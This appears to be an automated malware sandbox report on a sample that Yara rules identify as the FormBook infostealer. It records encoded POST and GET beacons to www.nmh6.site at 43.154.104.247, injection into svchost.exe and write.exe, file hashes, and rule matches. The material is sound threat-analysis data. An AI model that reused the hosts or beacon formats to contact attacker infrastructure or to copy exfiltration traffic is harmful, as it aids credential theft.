2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.11	50022	43.154.104.247	80	3000	C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:57:37.161554098 CEST	715	OUT	POST /8qne/ HTTP/1.1 Host: www.nmh6.site Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 199 Origin: http://www.nmh6.site Referer: http://www.nmh6.site/8qne/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 Data Raw: 67 50 3d 48 52 72 72 44 58 52 6e 74 4a 6f 4e 33 31 67 4d 68 34 63 45 76 2b 6b 43 30 4e 69 70 51 48 4b 76 5a 4f 4e 42 6d 43 54 42 57 45 6f 68 6c 35 4f 42 71 58 6d 52 2b 65 50 34 59 42 2f 78 35 35 51 45 71 5a 74 37 4f 54 44 49 41 6f 42 4e 4e 33 78 7a 33 45 73 39 6f 42 72 7a 6e 64 67 4a 65 78 58 7a 46 5a 59 58 78 41 74 37 65 55 4c 36 6d 66 4a 5a 41 35 76 63 53 55 52 4c 53 73 5a 47 41 35 4a 75 70 4d 6b 30 7a 4e 33 75 70 4f 72 71 39 53 4a 58 73 53 43 74 34 68 75 37 33 2f 58 36 45 47 70 47 50 30 33 2f 5a 6e 41 6f 6a 75 61 36 70 48 6a 5a 71 6f 37 6f 62 74 37 6c 55 69 6f 51 37 4a 64 50 75 67 3d 3d Data Ascii: gP=HRrrDXRntJoN31gMh4cEv+kC0NipQHKvZONBmCTBWEohl5OBqXmR+eP4YB/x55QEqZt7OTDIAoBNN3xz3Es9oBrzndgJexXzFZYXxAt7eUL6mfJZA5vcSURLSsZGA5JupMk0zN3upOrq9SJXsSCt4hu73/X6EGpGP03/ZnAojua6pHjZqo7obt7lUioQ7JdPug==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.11	50023	43.154.104.247	80	3000	C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:57:39.714010954 CEST	735	OUT	POST /8qne/ HTTP/1.1 Host: www.nmh6.site Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 219 Origin: http://www.nmh6.site Referer: http://www.nmh6.site/8qne/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 Data Raw: 67 50 3d 48 52 72 72 44 58 52 6e 74 4a 6f 4e 33 56 51 4d 6b 5a 63 45 71 65 6b 4e 78 4e 69 70 43 48 4b 72 5a 4f 42 42 6d 44 6e 72 57 57 63 68 6d 62 6d 42 72 57 6d 52 2f 65 50 34 54 68 2f 30 33 5a 51 66 71 5a 70 7a 4f 54 50 49 41 6f 56 4e 4e 31 70 7a 32 33 30 36 72 78 72 31 76 39 67 50 42 68 58 7a 46 5a 59 58 78 42 49 67 65 56 6a 36 6d 4c 31 5a 53 59 76 66 66 30 52 4d 52 73 5a 47 52 4a 4a 71 70 4d 6b 47 7a 4d 72 58 70 4d 6a 71 39 58 74 58 73 44 43 71 78 68 75 69 71 76 57 61 4e 55 67 57 4b 32 4f 54 59 33 59 62 71 4d 32 4d 68 68 79 44 36 4c 79 2f 59 2b 7a 6e 41 45 4a 67 79 34 34 47 31 6e 33 75 77 38 7a 63 38 58 44 62 67 63 7a 39 42 34 54 78 39 36 59 3d Data Ascii: gP=HRrrDXRntJoN3VQMkZcEqekNxNipCHKrZOBBmDnrWWchmbmBrWmR/eP4Th/03ZQfqZpzOTPIAoVNN1pz2306rxr1v9gPBhXzFZYXxBIgeVj6mL1ZSYvff0RMRsZGRJJqpMkGzMrXpMjq9XtXsDCqxhuiqvWaNUgWK2OTY3YbqM2MhhyD6Ly/Y+znAEJgy44G1n3uw8zc8XDbgcz9B4Tx96Y=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.11	50024	43.154.104.247	80	3000	C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:57:42.435674906 CEST	1748	OUT	POST /8qne/ HTTP/1.1 Host: www.nmh6.site Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 1231 Origin: http://www.nmh6.site Referer: http://www.nmh6.site/8qne/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 Data Raw: 67 50 3d 48 52 72 72 44 58 52 6e 74 4a 6f 4e 33 56 51 4d 6b 5a 63 45 71 65 6b 4e 78 4e 69 70 43 48 4b 72 5a 4f 42 42 6d 44 6e 72 57 57 6b 68 6d 71 47 42 72 78 61 52 34 65 50 34 51 68 2f 31 33 5a 51 65 71 5a 52 33 4f 54 7a 79 41 72 74 4e 4d 57 68 7a 78 47 30 36 77 68 72 31 6a 64 67 4b 65 78 58 71 46 5a 49 54 78 42 59 67 65 56 6a 36 6d 4e 52 5a 45 35 76 66 4d 45 52 4c 53 73 5a 53 41 35 49 39 70 4d 39 7a 7a 4d 66 48 70 64 44 71 2b 33 64 58 6a 52 71 71 74 78 75 33 70 76 57 34 4e 55 39 4d 4b 32 43 70 59 32 63 39 71 4e 43 4d 6b 6d 7a 6b 74 70 4f 70 62 63 76 70 57 47 39 45 78 61 34 42 37 58 43 58 34 35 7a 4d 68 42 4c 56 71 70 47 51 45 5a 66 35 75 73 58 6b 6b 7a 59 43 56 77 7a 7a 4b 30 4b 55 2f 47 2b 46 63 67 64 48 4e 31 45 58 35 78 30 4b 55 4e 5a 39 59 67 4e 47 4a 4f 78 4e 62 4e 30 38 43 66 43 32 30 74 2f 34 48 2b 46 33 43 67 73 38 51 54 50 55 4b 37 42 64 67 68 39 53 76 62 36 37 65 53 48 67 74 38 53 4a 62 6c 46 75 35 45 71 4a 48 30 76 65 33 66 33 4a 38 70 6d 62 55 72 75 6f 68 47 71 34 67 6d 77 55 53 37 48 [TRUNCATED] Data Ascii: gP=HRrrDXRntJoN3VQMkZcEqekNxNipCHKrZOBBmDnrWWkhmqGBrxaR4eP4Qh/13ZQeqZR3OTzyArtNMWhzxG06whr1jdgKexXqFZITxBYgeVj6mNRZE5vfMERLSsZSA5I9pM9zzMfHpdDq+3dXjRqqtxu3pvW4NU9MK2CpY2c9qNCMkmzktpOpbcvpWG9Exa4B7XCX45zMhBLVqpGQEZf5usXkkzYCVwzzK0KU/G+FcgdHN1EX5x0KUNZ9YgNGJOxNbN08CfC20t/4H+F3Cgs8QTPUK7Bdgh9Svb67eSHgt8SJblFu5EqJH0ve3f3J8pmbUruohGq4gmwUS7H9SmmIYJfrzA39GKCiwe242Kr0ld4zBu4e/hIoiGsIFw5zNQH9DmrSdMX66LR7JKY7aplOvolBtZBDWJndMnUg9hx5DdSmeE9JZdppkK2aXNdHTBKTUWVpBBEX3jwyXaYHYjgmhZBweP5/jFMdpJRh+LXIhFO9b1GzB98VOmKIiG3ZOZttpddI93V1ee6gO3K8OnbfD4nX3islgACid3ohynhr7xbQbIFsnDvQrlXObAvdYJxQmU3tN6D5W+bDzmQs6rvfVEfRJsORlWQwugBeXKzdrsC9/cARodYA0stB6jWxpVuUOvFbCO9JNpCt2WMD+WxYgWdQ9boswoQXi+uyBl7QXqxmXgiYBB1VhWfd89Bha/AlPFB42oIWBJrwG7v3a1nNXkDxwbIS4HEr8BYw2SH5seFKXNLbZdJMLN4LnpMd55redECgo/n46x1H+nFmjYR9yGuBhTuXwQErHhMT3qQEKN/zo37KbwoqDeQ22CloV9UvKVSIIh/B7lHTJG+UwKqg+ls/18P40TJA+1VWCGaebRq5EqaXzsam5PrgRmDBq302KDoC5BVeLHaBxz6cmsJKGo6d2j7XRDgl2XG/KFXfVHeUrwIzSQ5GmWbOxwUb60RMFil5CGA1HD7Te9wtYfQ31fmDFYhASIlFUVKGINJ6X9BEmPTgy [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.11	50025	43.154.104.247	80	3000	C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:57:44.974014997 CEST	457	OUT	GET /8qne/?-L=kBMxZFRpAD6P&gP=KTDLAip6979182YpgYgwlP0twqrvN2KjRu9dlBr1KRF7u6Oe/Vup1PLCUBiG85sopIJcMB3IBfxfJF1E2Fdczwn6nM8FHB3uPZpUzCEofVeYgOE3F6jmTm8= HTTP/1.1 Host: www.nmh6.site Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36

Target ID:	0
Start time:	09:53:55
Start date:	08/10/2024
Path:	C:\Users\user\Desktop\Z6s208B9QX.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Z6s208B9QX.exe"
Imagebase:	0x400000
File size:	1'403'415 bytes
MD5 hash:	09BFD7F979770CDE56456734D6D1FF8D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	8
Start time:	09:53:56
Start date:	08/10/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Z6s208B9QX.exe"
Imagebase:	0xb30000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.1730607904.0000000003690000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000008.00000002.1730607904.0000000003690000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.1730238566.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000008.00000002.1730238566.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.1730979134.0000000003B50000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000008.00000002.1730979134.0000000003B50000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	true

Target ID:	10
Start time:	09:54:33
Start date:	08/10/2024
Path:	C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe"
Imagebase:	0xb30000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000A.00000002.3746307677.0000000002FC0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000A.00000002.3746307677.0000000002FC0000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	11
Start time:	09:54:35
Start date:	08/10/2024
Path:	C:\Windows\SysWOW64\write.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\write.exe"
Imagebase:	0x750000
File size:	10'240 bytes
MD5 hash:	3D6FDBA2878656FA9ECB81F6ECE45703
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000B.00000002.3738831581.0000000000530000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000B.00000002.3738831581.0000000000530000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000B.00000002.3743731307.0000000002A60000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000B.00000002.3743731307.0000000002A60000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000B.00000002.3742814788.0000000002A00000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000B.00000002.3742814788.0000000002A00000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	false

Target ID:	13
Start time:	09:54:48
Start date:	08/10/2024
Path:	C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe"
Imagebase:	0xb30000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	17
Start time:	09:55:00
Start date:	08/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff6de060000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true